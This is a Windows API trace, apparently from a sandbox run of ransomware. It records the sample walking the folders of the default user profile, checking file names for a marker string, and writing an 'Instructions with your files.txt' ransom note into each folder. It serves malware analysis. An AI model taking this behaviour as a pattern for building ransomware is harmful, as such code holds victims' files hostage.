[0132.324] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.324] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini") returned 41
[0132.324] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.324] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.324] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\Instructions with your files.txt") returned 62
[0132.324] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\Instructions with your files.txt" (normalized: "c:\\users\\default\\contacts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.325] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.326] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.326] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.326] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.326] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.326] CloseHandle (hObject=0x10c) returned 1
[0132.326] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.326] GetProcessHeap () returned 0x810000
[0132.326] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.326] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
[0132.326] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies") returned 28
[0132.326] GetProcessHeap () returned 0x810000
[0132.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.326] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies\\*") returned 30
[0132.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.327] GetProcessHeap () returned 0x810000
[0132.327] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.327] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
[0132.327] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop") returned 28
[0132.327] GetProcessHeap () returned 0x810000
[0132.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.327] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\*") returned 30
[0132.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.327] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\.") returned 30
[0132.327] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.327] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.327] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\..") returned 31
[0132.327] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.327] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.327] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini") returned 40
[0132.327] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.327] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.327] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\Instructions with your files.txt") returned 61
[0132.327] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\Instructions with your files.txt" (normalized: "c:\\users\\default\\desktop\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.328] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.329] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.329] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.329] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.329] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.329] CloseHandle (hObject=0x10c) returned 1
[0132.329] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.329] GetProcessHeap () returned 0x810000
[0132.329] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.329] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
[0132.329] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents") returned 30
[0132.329] GetProcessHeap () returned 0x810000
[0132.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.329] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\*") returned 32
[0132.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.330] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\.") returned 32
[0132.330] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.330] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.330] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\..") returned 33
[0132.330] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.330] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.330] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini") returned 42
[0132.330] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.330] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0132.330] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Music") returned 39
[0132.330] GetProcessHeap () returned 0x810000
[0132.330] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.330] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\*") returned 41
[0132.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x1cb892d, ftCreationTime.dwLowDateTime=0x66fe9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯀
翿")) returned 0xffffffff
[0132.331] GetProcessHeap () returned 0x810000
[0132.331] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.331] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0132.331] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures") returned 42
[0132.331] GetProcessHeap () returned 0x810000
[0132.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.331] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\*") returned 44
[0132.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x1cb892d, ftCreationTime.dwLowDateTime=0x66fe9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯀
翿")) returned 0xffffffff
[0132.331] GetProcessHeap () returned 0x810000
[0132.331] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.331] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
[0132.331] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Videos") returned 40
[0132.331] GetProcessHeap () returned 0x810000
[0132.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.331] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\*") returned 42
[0132.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x1cb892d, ftCreationTime.dwLowDateTime=0x66fe9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯀
翿")) returned 0xffffffff
[0132.331] GetProcessHeap () returned 0x810000
[0132.331] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.331] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
[0132.331] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\Instructions with your files.txt") returned 63
[0132.331] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\Instructions with your files.txt" (normalized: "c:\\users\\default\\documents\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.332] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.332] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.333] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.333] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.333] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.333] CloseHandle (hObject=0x10c) returned 1
[0132.333] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.333] GetProcessHeap () returned 0x810000
[0132.333] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.333] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
[0132.333] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads") returned 30
[0132.333] GetProcessHeap () returned 0x810000
[0132.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.333] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\*") returned 32
[0132.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.333] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\.") returned 32
[0132.333] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.333] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.333] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\..") returned 33
[0132.334] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.334] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.334] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini") returned 42
[0132.334] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
